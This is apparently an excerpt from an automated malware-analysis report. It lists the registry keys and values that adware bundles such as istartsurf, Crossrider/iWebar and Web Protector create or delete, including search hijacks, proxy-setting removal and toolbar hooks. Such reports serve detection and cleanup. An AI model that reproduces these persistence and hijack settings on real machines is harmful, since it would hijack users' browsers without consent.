[HKLM\SOFTWARE\Wow6432Node\Mozilla\Firefox\Extensions]
"[email protected]" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe -ptid=smtÃ©Â´â‚¬Ã‚Â¼"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "istartsurf"

The process testlsp.exe:4188 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 78 A4 44 A3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "14 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "A5 31 BD 60 D5 7C D0 01"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1429690903"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

"TimeLimit" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "42 8E 63 DD 43 17 1F CD 22 18 2A 64 22 18 AF B6"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5B 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"
"TimeStamp" = "1429690903"
"TimeLimit" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process setup.exe:3452 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnF8C1.tmp\DCytaiesmt_smtyc_setup.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnF8C1.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6F.tmp\AccDownload.dll,"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ShopperPro]
"UninstallString" = "%Program Files% (x86)\ShopperPro\SPremove.exe"
"DisplayName" = "Shopper-Pro"
"DisplayIcon" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\ShopperPro.exe]
"(Default)" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process Txhzzaikvhn.exe:4036 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"DisplayName" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"CrAppId" = "70121"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"Publisher" = "Webby"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\21836\Status]
"Installed" = "1"

[HKLM\SOFTWARE\Wow6432Node\iWebar\Installer]
"BundledFirefox" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "84 0D B6 60 D5 7C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "47 39 B0 5E D5 7C D0 01"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\21836]
"70121" = "iWebar"

[HKCU\Software\InstalledBrowserExtensions\21836\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"DisplayIcon" = "%Program Files% (x86)\iWebar\utils.exe"
"UninstallString" = "%Program Files% (x86)\iWebar\Uninstall.exe /fcp=1"

[HKCU\Software\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\InstalledBrowserExtensions\21836\Status]
"Installed" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"DisplayVersion" = "1.36.01.22"
"CrPublisherId" = "21836"

[HKCU\Software\InstalledBrowserExtensions\21836]
"70121" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 59 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\InstalledBrowserExtensions\21836]
"70121" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\InstalledBrowserExtensions\Webby]
"70121" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The Application deletes the following value(s) in system registry:

The process WerFault.exe:3956 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\Debug]
"ExceptionRecord" = "09 04 00 C0 01 00 00 00 00 00 00 00 F7 F4 2B 00"

The process WerFault.exe:1900 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\Debug]
"ExceptionRecord" = "09 04 00 C0 01 00 00 00 00 00 00 00 F7 F4 2B 00"

The process WebProtectorPlus.exe:3416 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process WebProtectorPlus.exe:3220 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\WebProtectorPlus\Notify]
"iData" = "1429690872"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "F5 47 A2 49 D5 7C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4D 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "8E 48 AA 4C D5 7C D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process uinst.exe:1744 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "78 A2 C3 91 D5 7C D0 01"

[HKLM\SOFTWARE\Wow6432Node\LiveWPPUpdate\LiveWPPUpdate]
"urls" = "3Kbcuty63L7cvd203aHdodyj3K/cqtyv3Kncr9y93K3cr9y83Krcodyj3K/cp9yg3aDcrdyh3KPdody93KvcvNy43aDcvtym3L4="
"inter" = "43200"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\LiveWPPUpdate]
"UninstallString" = "%Program Files% (x86)\LiveWPPUpdate\LiveUpdateWPP_uninstaller.exe"

[HKLM\SOFTWARE\Wow6432Node\LiveWPPUpdate\LiveWPPUpdate]
"lcid" = "10"
"ID" = "{38A94106-295F-40DD-B54D-E1D078C38714}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\LiveWPPUpdate\LiveWPPUpdate]
"last" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5E 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\LiveWPPUpdate]
"DisplayName" = "LiveWPPUpdate"

[HKLM\SOFTWARE\Wow6432Node\LiveWPPUpdate\LiveWPPUpdate]
"Src" = "9813"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\LiveWPPUpdate]
"Publisher" = "Anti-phishing database updater for Web Protector Plus. This service keeps your computer updated with the newest database of known Internet threats."

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process uinst.exe:908 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "FE 68 16 20 D5 7C D0 01"

[HKLM\SOFTWARE\Wow6432Node\LiveWPPUpdate\LiveWPPUpdate]
"urls" = "3Kbcuty63L7cvd203aHdodyj3K/cqtyv3Kncr9y93K3cr9y83Krcodyj3K/cp9yg3aDcrdyh3KPdody93KvcvNy43aDcvtym3L4="
"inter" = "43200"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\LiveWPPUpdate]
"UninstallString" = "%Program Files% (x86)\LiveWPPUpdate\LiveUpdateWPP_uninstaller.exe"

[HKLM\SOFTWARE\Wow6432Node\LiveWPPUpdate\LiveWPPUpdate]
"lcid" = "10"
"ID" = "{B6FABE4B-0DC3-48A0-A1B9-9E28DD633AC3}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\LiveWPPUpdate\LiveWPPUpdate]
"last" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4B 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\LiveWPPUpdate]
"DisplayName" = "LiveWPPUpdate"

[HKLM\SOFTWARE\Wow6432Node\LiveWPPUpdate\LiveWPPUpdate]
"Src" = "9813"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\LiveWPPUpdate]
"Publisher" = "Anti-phishing database updater for Web Protector Plus. This service keeps your computer updated with the newest database of known Internet threats."

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process ein.exe:688 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"DisplayIcon" = "%Program Files% (x86)\WebProtector\webprotector_uninstaller.exe"

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{CCC7B14F-1D8C-11E3-B2AD-F3EF3D58318D}\1.0\FLAGS]
"(Default)" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"DisplayVersion" = "1.0.0.2"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]
"CLSID" = "{1FBA04EE-3024-11d2-8F1F-0000F87ABD16}"

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\Instance]
"(Default)" = ""

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\Instance\InitPropertyBag]
"URL" = "about:blank"

[HKCR\Interface\{3050F3EE-98B5-11CF-BB82-00AA00BDCE0B}\TypeLib]
"Version" = "1.0"

[HKCR\Interface\{CCC7B150-1D8C-11E3-B2AD-F3EF3D58318D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{3050F3EE-98B5-11CF-BB82-00AA00BDCE0B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{CCC7B150-1D8C-11E3-B2AD-F3EF3D58318D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\TypeLib\{CCC7B14F-1D8C-11E3-B2AD-F3EF3D58318D}\1.0]
"(Default)" = "sf_tblib"

[HKCR\Wow6432Node\Interface\{CCC7B150-1D8C-11E3-B2AD-F3EF3D58318D}\TypeLib]
"(Default)" = "{CCC7B14F-1D8C-11E3-B2AD-F3EF3D58318D}"

[HKCR\Wow6432Node\Interface\{3050F3EE-98B5-11CF-BB82-00AA00BDCE0B}\TypeLib]
"Version" = "1.0"

[HKCR\Interface\{CCC7B150-1D8C-11E3-B2AD-F3EF3D58318D}\TypeLib]
"Version" = "1.0"

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\InprocServer32]
"(Default)" = "%Program Files% (x86)\WebProtector\WebProtector.dll"

[HKLM\SOFTWARE\Wow6432Node\WebProtector]
"Path" = "%Program Files% (x86)\WebProtector"

[HKCR\TypeLib\{CCC7B14F-1D8C-11E3-B2AD-F3EF3D58318D}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\WebProtector"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"NoRepair" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]
"Icon" = "%Program Files% (x86)\WebProtector\btn.ico"

[HKCR\Wow6432Node\Interface\{CCC7B150-1D8C-11E3-B2AD-F3EF3D58318D}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"Publisher" = "WebProtector"
"URLInfoAbout" = "http://web-protector.net"
"DisplayName" = "Web Protector IE"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]
"ButtonText" = "Web Protector"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\URLSearchHooks]
"{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}" = ""

[HKCR\Interface\{CCC7B150-1D8C-11E3-B2AD-F3EF3D58318D}\TypeLib]
"(Default)" = "{CCC7B14F-1D8C-11E3-B2AD-F3EF3D58318D}"

[HKCR\Wow6432Node\Interface\{CCC7B150-1D8C-11E3-B2AD-F3EF3D58318D}]
"(Default)" = "IToolbarMainBrowser"

[HKCR\TypeLib\{CCC7B14F-1D8C-11E3-B2AD-F3EF3D58318D}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\WebProtector\WebProtector.dll"

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\ProgID]
"(Default)" = "WebProtector.toolbar.1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\URLSearchHooks]
"(Default)" = "{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}"

[HKCR\Interface\{CCC7B150-1D8C-11E3-B2AD-F3EF3D58318D}]
"(Default)" = "IToolbarMainBrowser"

[HKCR\Wow6432Node\Interface\{3050F3EE-98B5-11CF-BB82-00AA00BDCE0B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"NoModify" = "1"

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}]
"(Default)" = "WebProtector"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"UninstallString" = "%Program Files% (x86)\WebProtector\webprotector_uninstaller.exe"

[HKCR\Interface\{3050F3EE-98B5-11CF-BB82-00AA00BDCE0B}\TypeLib]
"(Default)" = "{CCC7B14F-1D8C-11E3-B2AD-F3EF3D58318D}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Toolbar]
"{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}" = "Web Protector Toolbar"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]
"ClsidExtension" = "{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}"

[HKCR\Wow6432Node\Interface\{3050F3EE-98B5-11CF-BB82-00AA00BDCE0B}\TypeLib]
"(Default)" = "{CCC7B14F-1D8C-11E3-B2AD-F3EF3D58318D}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]
"Default Visible" = "yes"

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\VersionIndependentProgID]
"(Default)" = "WebProtector.toolbar"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]
"HotIcon" = "%Program Files% (x86)\WebProtector\hotbtn.ico"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]

The process ein.exe:4528 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Explorer Bars\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}]
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]

The process powershell.exe:3928 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:5060 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:5016 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

The process nsoB3C6.tmp:2456 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "1F 62 EF 66 D5 7C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnF8C1.tmp\DCytaiesmt_smtyc_setup.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnF8C1.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6F.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6F.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6F.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\nsProcess.dll,"

[HKLM\SOFTWARE\Wow6432Node\Google\Chrome\Extensions\kfecnpmgnlnbmipaogfhoacoioifjgko]
"update_url" = "http://clients2.google.com/service/update2/crx"

